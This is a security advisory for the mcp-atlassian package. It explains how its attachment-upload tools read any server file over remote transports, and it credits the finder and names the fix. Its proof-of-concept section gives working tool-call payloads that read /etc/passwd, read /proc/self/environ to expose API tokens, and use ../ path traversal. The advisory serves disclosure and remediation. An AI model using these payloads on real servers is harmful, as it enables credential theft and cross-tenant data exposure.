---
id: GHSA-wm45-qh3g-v83f
title: 'mcp-atlassian: Arbitrary server-side file read via attachment upload'
summary: 'mcp-atlassian: Arbitrary server-side file read via attachment upload'
severity: high
cvss: 7.7
cwe:
  - CWE-22
  - CWE-73
vendor: mcp-atlassian
product: mcp-atlassian
ecosystem: pip
affected:
  - mcp-atlassian < 0.22.0
patched:
  - mcp-atlassian 0.22.0
published: '2026-07-10'
updated: '2026-07-10'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-wm45-qh3g-v83f'
references:
  - url: >-
      https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-wm45-qh3g-v83f
  - url: 'https://github.com/advisories/GHSA-wm45-qh3g-v83f'
tags:
  - ghsa
  - pip
ingestedAt: '2026-07-10T20:06:10.698Z'
---

## Overview

### Summary

A client that can invoke MCP tools can read **arbitrary files from the server host** and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied `file_path` and `open()` it on the **server's** filesystem.

The upload tools are meant to attach a file from the **caller's** environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file *content* in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local `stdio` deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)

### Details

The upload tools read a client-supplied path directly on the server:

- `src/mcp_atlassian/confluence/attachments.py` — `upload_attachment` → `_upload_attachment_direct` → `os.path.abspath(file_path)` → `open(file_path, "rb")`
- `src/mcp_atlassian/jira/attachments.py` — `upload_attachment` → `os.path.abspath(file_path)` → `open(file_path, "rb")`

`os.path.abspath()` only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.

Client-reachable entry points that hit these sinks:

- `confluence_upload_attachment` → `ConfluenceFetcher.upload_attachment`. The `file_path` field is documented as "absolute … or relative to the current working directory."
- `confluence_upload_attachments` → loops over the same sink.
- `jira_update_issue` — its `attachments` parameter (JSON array or comma-separated list of paths) flows through `IssuesMixin.update_issue` → `self.upload_attachments` → the Jira sink. There is no standalone `jira_upload_attachment` tool; `jira_update_issue` is the only Jira entry point.

### PoC

**Local reproduction**

Extract `traversal_upload_attachment_file_read.zip`:
```
# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d        # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh                    # exits 0 on success
```

> Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the `/etc/passwd` round-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.

All calls are issued against the HTTP transport with `READ_ONLY_MODE=false` (the default).

Step 1 — read `/etc/passwd` from the server via Confluence upload:
```
req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
    "attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
```

Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):
```
req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
```

Step 3 — same primitive via the Jira entry point (second sink):
```
req → tools/call jira_update_issue
      { "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }
```

Step 4 — credential disclosure via `/proc/self/environ`:
```
req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
  including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.
```
(`os.path.getsize` reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)

Step 5 — relative traversal accepted (no containment):
```
req → tools/call confluence_upload_attachment
      { "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.
```

The uploaded files (`passwd`, `environ`, `hostname`) appear as real attachments on the Confluence page, confirming the server read them off its own host.

### Impact

Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. `/etc/passwd`, `/proc/self/environ`, application config, key material). Uploading `/proc/self/environ` discloses the server's environment variables — including the configured `JIRA_API_TOKEN` / `CONFLUENCE_API_TOKEN` — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.

The security impact concentrates in remote / HTTP-transport deployments (`sse`, `streamable-http`, default bind `0.0.0.0`), where the `file_path` resolves on the server host rather than the client's. In a single-user `stdio` deployment the path refers to the user's own machine, so there is no boundary crossing.

### Credit

Discovered by [Francisco Rosales](https://www.linkedin.com/in/francisco-rosales-celis/) of [Manifold Security](https://manifold.security/)

## Affected packages

- `mcp-atlassian < 0.22.0`

## Remediation

Upgrade to a patched release:

- `mcp-atlassian 0.22.0`
